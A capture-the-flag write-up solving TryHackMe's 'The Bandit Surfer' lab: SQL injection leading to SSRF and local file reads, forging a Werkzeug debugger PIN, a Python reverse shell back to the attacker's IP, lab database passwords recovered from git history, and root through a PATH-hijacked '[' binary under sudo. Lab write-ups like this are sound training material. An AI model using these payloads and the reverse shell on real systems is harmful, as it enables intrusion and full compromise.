The Bandit Surfer - Write-up - TryHackMe

Information

Room#

  • Name: The Bandit Surfer
  • Profile: tryhackme.com
  • Difficulty: Hard
  • Description: The Bandit Yeti is surfing to town.

The Bandit Surfer

This is the Side Quest Challenge 4 of Advent of Cyber '23 Side Quest (advanced bonus challenges alongside Advent of Cyber 2023).

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap ffuf nuclei ruby curl python

Challenge#

Network enumeration#

Port and service scan with nmap:

# Nmap 7.94 scan initiated Sun Jan 28 17:57:18 2024 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap 10.10.69.64
Nmap scan report for 10.10.69.64
Host is up, received echo-reply ttl 63 (0.14s latency).
Not shown: 65509 closed tcp ports (reset), 24 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e8:43:37:a0:ac:a6:22:57:53:00:6d:75:51:db:bc:a9 (RSA)
|   256 25:16:18:74:8c:06:55:16:7e:20:84:89:ae:90:9a:f6 (ECDSA)
|_  256 fc:0b:0f:e2:c0:00:bb:89:a1:8f:de:71:9d:ad:d1:63 (ED25519)
8000/tcp open  http-alt syn-ack ttl 63 Werkzeug/3.0.0 Python/3.8.10
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
|_http-title: The BFG
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.0 Python/3.8.10
|     Date: Sun, 28 Jan 2024 16:58:18 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.0 Python/3.8.10
|     Date: Sun, 28 Jan 2024 16:58:12 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 1752
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>The BFG</title>
|     <style>
|     Reset margins and paddings for the body and html elements */
|     html, body {
|     margin: 0;
|     padding: 0;
|     body {
|     background-image: url('static/imgs/snow.gif');
|     background-size: cover; /* Adjust the background size */
|     background-position: center top; /* Center the background image vertically and horizontally */
|     display: flex;
|     flex-direction: column;
|     justify-content: center;
|_    align-items: center;
|_http-server-header: Werkzeug/3.0.0 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
# Nmap done at Sun Jan 28 17:59:45 2024 -- 1 IP address (1 host up) scanned in 147.35 seconds

Web discovery#

There is a web application available at http://10.10.69.64:8000/ that offers to download images.

The download links are like /download?id=1.

If asking for an invalid ID (e.g. /download?id=0), we get an error, reaveling information about the technology stack and the configuration:

  • Language: Python
  • Web framework: Flask
  • WSGI: Werkzeug
  • Python version: 3.8
  • Example of absolute path: /home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py
  • Username: mcskidy

Web fuzzing#

We can try to enumerate all valid image ID to see if some that are not included on the page exist.

➜ ruby -e 'puts (1..20).to_a' | ffuf -u http://10.10.69.64:8000/download\?id\=FUZZ -w -
...
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.69.64:8000/download?id=FUZZ
 :: Wordlist         : FUZZ: -
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

5                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 73ms]
8                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 145ms]
9                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms]
14                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 166ms]
6                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 167ms]
13                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 172ms]
12                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 246ms]
20                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms]
7                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms]
10                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 159ms]
17                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms]
15                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 138ms]
11                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms]
19                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 233ms]
16                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms]
1                       [Status: 200, Size: 33017, Words: 2560, Lines: 223, Duration: 246ms]
2                       [Status: 200, Size: 71551, Words: 3093, Lines: 301, Duration: 126ms]
3                       [Status: 200, Size: 69873, Words: 8965, Lines: 596, Duration: 166ms]
18                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 523ms]
4                       [Status: 200, Size: 2305908, Words: 9820, Lines: 8254, Duration: 301ms]
:: Progress: [20/20] :: Job [1/1] :: 7 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

So outside ID 1-3 there is an ID 4.

wget http://10.10.69.64:8000/download\?id=4

This is an image with wanted artic bandits (useless).

There are at least 3 ways to find the werkzeug debugger console (http://10.10.69.64:8000/console):

  • Launch nuclei (nuclei -u http://10.10.69.64:8000) and the module werkzeug-debugger-detect will find it
  • Fuzz with ffuf (ffuf -u http://10.10.69.64:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt)
  • From the previous error message we know there is werkzeug so try for some common misconfiguration

Web exploitation - SQLi and SSRF#

Unfortunattely, the console is protected by a PIN code.

Metasploit exploit/multi/http/werkzeug_debug_rce is not working so here werkzeug must be > 0.10.

In that case, we can read on Hacktricks that a if we have a LFD (local file disclosure) we could have the information required to craft the PIN code.

We need to find a LFD first.

On the download page, if we inject a single quote (/download?id=') we get a SQL error (MySQL), so there is a potential for SQL injection.

With the following payload we have a SSRF ' UNION SELECT "http://10.18.17.12:7000"-- -.

ruby -run -ehttpd ~/Public -p7000
curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"http://10.18.17.12:7000"--%20-' --output -

We can use the SSRF for LDF too (%27%20UNION%20SELECT%20"file:///etc/os-release"--%20-).

➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/os-release"--%20-' --output -
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Web exploitation - LFD to leak werkzeug PIN code#

We already know the probably_public_bits from the previous error message. Now let's retrieve teh information for private_bits.

In /proc/net/arp we can find the network interface name.

➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///proc/net/arp"--%20-' --output -
IP address       HW type     Flags       HW address            Mask     Device
10.10.0.1        0x1         0x2         02:c8:85:b5:5a:aa     *        eth0

We can find the AMC address of eth0 in /sys/class/net/eth0/address.

➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///sys/class/net/eth0/address"--%20-' --output -
02:a7:a9:9f:ad:f3

Using ruby we can convert if from hexadecimal to decimal.

'02:a7:a9:9f:ad:f3'.gsub(':', '')
# => "02a7a99fadf3"
0x02a7a99fadf3
# => 2919128608243

Let's get the machine ID.

➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/machine-id"--%20-' --output -
aee6189caee449718070b58132f2e4ba

We can confirm the hash function required is SHA-1.

➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///home/mcskidy/.local/lib/python3.8/site-packages/werkzeug/debug/__init__.py"--%20-' --output - -s | grep hashlib
import hashlib
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
    h = hashlib.sha1()

Then we can launch the script to generater the PIN code and use it on the console http://10.10.69.64:8000/console.

➜ python werkzeug-pin.py
917-190-257

Note: if not working, restart the machine and do it again. It may requires several attempts.

Shell acquisition#

We can generate a reverse shell revshells.com (Python3 #2).

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.18.17.12",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

We can obtain the shell:

➜ ncat -lvnp 7777
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.10.69.64:46292.
mcskidy@proddb:~$ id
uid=1000(mcskidy) gid=1000(mcskidy) groups=1000(mcskidy)

User flag#

mcskidy@proddb:~$ cat user.txt
THM{EDITED}

Note: We could have read it with the SQLi / SSRF / LFD.

EoP (elevation of privilege) part 1#

The source code is versionned.

mcskidy@proddb:~/app$ ls -lhA
total 16K
-rw-rw-r-- 1 mcskidy mcskidy 1.5K Oct 19 20:03 app.py
drwxrwxr-x 8 mcskidy mcskidy 4.0K Nov  2 15:41 .git
drwxrwxr-x 3 mcskidy mcskidy 4.0K Oct 19 19:58 static
drwxrwxr-x 2 mcskidy mcskidy 4.0K Nov  2 15:29 templates

Let's see the history of the file app.py.

mcskidy@proddb:~/app$ git --no-pager log -p app.py

commit c1a0b22905cc0da0b5ad88c124125efa626013af
Author: mcskidy <mcskidy@proddb>
Date:   Thu Oct 19 20:02:57 2023 +0000

    Minor update

diff --git a/app.py b/app.py
index 8d05622..5765c7d 100644
--- a/app.py
+++ b/app.py
@@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static')
 # MySQL configuration
 app.config['MYSQL_HOST'] = 'localhost'
 app.config['MYSQL_USER'] = 'mcskidy'
-app.config['MYSQL_PASSWORD'] = 'EDITED'
+app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6'
 app.config['MYSQL_DB'] = 'elfimages'
 mysql = MySQL(app)

commit e9855c8a10cb97c287759f498c3314912b7f4713
Author: mcskidy <mcskidy@proddb>
Date:   Thu Oct 19 20:01:41 2023 +0000

    Changed MySQL user

diff --git a/app.py b/app.py
index 81fd2d2..5f5ff6e 100644
--- a/app.py
+++ b/app.py
@@ -9,8 +9,8 @@ app = Flask(__name__, static_url_path='/static')

 # MySQL configuration
 app.config['MYSQL_HOST'] = 'localhost'
-app.config['MYSQL_USER'] = 'root'
-app.config['MYSQL_PASSWORD'] = 'w6UV3tjxAuKCUWtP'
+app.config['MYSQL_USER'] = 'mcskidy'
+app.config['MYSQL_PASSWORD'] = 'EDITED'
 app.config['MYSQL_DB'] = 'elfimages'
 mysql = MySQL(app)

Credential stuffing#

Here are all the MySQL credentials we can try for PAM:

  • mcskidy / fSXT8582GcMLmSt6
  • mcskidy / EDITED
  • root / w6UV3tjxAuKCUWtP

EoP (elevation of privilege) part 2#

With the found credentials we can see what commands mcskidy can run with sudo.

mcskidy@proddb:~$ sudo -l
Matching Defaults entries for mcskidy on proddb:
    env_reset, mail_badpass,
    secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mcskidy may run the following commands on proddb:
    (root) /usr/bin/bash /opt/check.sh

Let's see what /opt/check.sh can offer.

mcskidy@proddb:~$ cat /opt/check.sh
#!/bin/bash
. /opt/.bashrc
cd /home/mcskidy/

WEBSITE_URL="http://127.0.0.1:8000"

response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL)

# Check the HTTP response code
if [ "$response" == "200" ]; then
  /usr/bin/echo "Website is running: $WEBSITE_URL"
else
  /usr/bin/echo "Website is not running: $WEBSITE_URL"
fi

/opt/.bashrc is sourced but we can't source it.

mcskidy@proddb:~$ ls -lh /opt/.bashrc
-rw-r--r-- 1 root root 3.7K Oct 19 06:28 /opt/.bashrc

The sudo configuration show we have /home/mcskidy in the secure_path.

It's weird to have a .bashrc in /opt and to source it. As the file is long let's compare it with another to see if has been changed.

mcskidy@proddb:~$ diff /opt/.bashrc /home/mcskidy/.bashrc
4c4
< enable -n [ # ]
---
>

Shells have bilt-in commands like echo, history, pwd, test and many others. With -n option, enable will disable the built-in command and try to load them from $PATH. With [ # ], all built-ins are disabled. But what good does it do to us since all binaries are with absolute path?

The tricky part is that in if [ "$response" == "200" ]; then the braquets are a binary /usr/bin/[. So now that it's loaded from PATH we can create a [ binary in /home/mcskidy/. You can learn about it on HackTricks - Bypass Linux Restrictions.

mcskidy@proddb:~$ echo 'bash' > ~/[
mcskidy@proddb:~$ chmod +x ~/[
mcskidy@proddb:~$ sudo -u root /usr/bin/bash /opt/check.sh
[sudo] password for mcskidy:
127.0.0.1 - - [28/Jan/2024 21:40:02] "GET / HTTP/1.1" 200 -
root@proddb:/home/mcskidy# id
uid=0(root) gid=0(root) groups=0(root)

Root flag#

root@proddb:~# cat /root/root.txt
THM{EDITED}

Yeti flag#

root@proddb:~# cat /root/yetikey4.txt
4-EDITED
Share